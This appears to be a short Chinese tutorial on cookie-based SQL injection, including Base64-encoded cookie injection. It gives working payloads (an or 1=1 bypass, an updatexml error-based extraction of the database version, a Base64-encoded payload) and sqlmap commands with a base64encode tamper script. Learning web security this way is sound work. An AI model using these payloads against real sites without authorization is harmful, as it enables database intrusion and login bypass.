
*****
## cookie注入
### HTTP頭中的注入介紹
服務器可以利用cookies包含信息的任意性來篩選并經常性維護這些信息,以判斷在HTTP傳 輸中的狀態。cookies最經典的應用就是判斷用戶是否已經登錄網站。
### cookie注入
代碼中使用Cookie傳遞參數,但是沒有對Cookie中傳遞的參數進行過濾操作。導致SQL注入漏洞的產生。
注入的payload
```
Cookie: uname=admin' or 1=1 --+
Cookie: uname=admin' and updatexml(1,concat(0x7e,version(),0x7e),1) --+
```
### sqlmap安全測試
```
sqlmap -r target.txt --level 3 --batch
```
## cookie Base64注入
### Base64介紹
base64編碼是從二進制到字符的過程,可用于在HTTP環境下傳遞較長的標識信息。base64是 網絡上最常見的用于傳輸8Bit字節碼的編碼方式之一,base64就是一種基于64個可打印字符 來表示二進制數據的方法
將原始內容轉換為二進制,從左到右依次取6位,然后在最高補兩位0,形成新的內容
<br>編碼規則
- 1.把3個字符變成4個字符
- 2.每76個字符加一個換行符
- 3.最后的結束符也要處理
### cookie Base64注入代碼分析
base64加密網址:http://tool.oschina.net/encrypt?type=3
如果報出Warning: date(): 在php.ini中設置date.timezone的值為PRC,設置好以后的為:date.timezone=PRC
使用Base64加密的注入語句,插入到Cookie對應的位置完成SQL注入漏洞的探測。
明文 " or 1=1 #
```
IiBvciAxPTEgIw==
```
### sqlmap安全檢測
```
python sqlmap.py -r target.txt --level 3 --tamper base64encode.py
```